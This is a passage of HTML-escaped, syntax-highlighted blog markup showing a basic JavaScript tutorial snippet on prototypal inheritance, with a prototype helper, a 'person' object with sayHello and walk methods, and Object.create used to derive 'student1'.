margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; F&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;prototype &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;=&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; o&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;;&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;return&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;new&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; F&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;();&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&amp;nbsp; &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;};&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;}&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;var&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; person &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;=&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;{&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&amp;nbsp; sayHello &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;:&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;function&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;()&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;{&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;alert&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;(&lt;/span&gt;&lt;span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;'Person object'&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;);&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&amp;nbsp; &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;},&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&amp;nbsp; walk &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;:&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;function&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;()&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;{&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; alert&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;(&lt;/span&gt;&lt;span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;'walk'&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;);&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&amp;nbsp; &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;}&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;};&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;var&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; student1 &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;=&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Object&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;create&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;(&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;person&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;);&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;student1&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;sayHello &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;=&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;function&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; 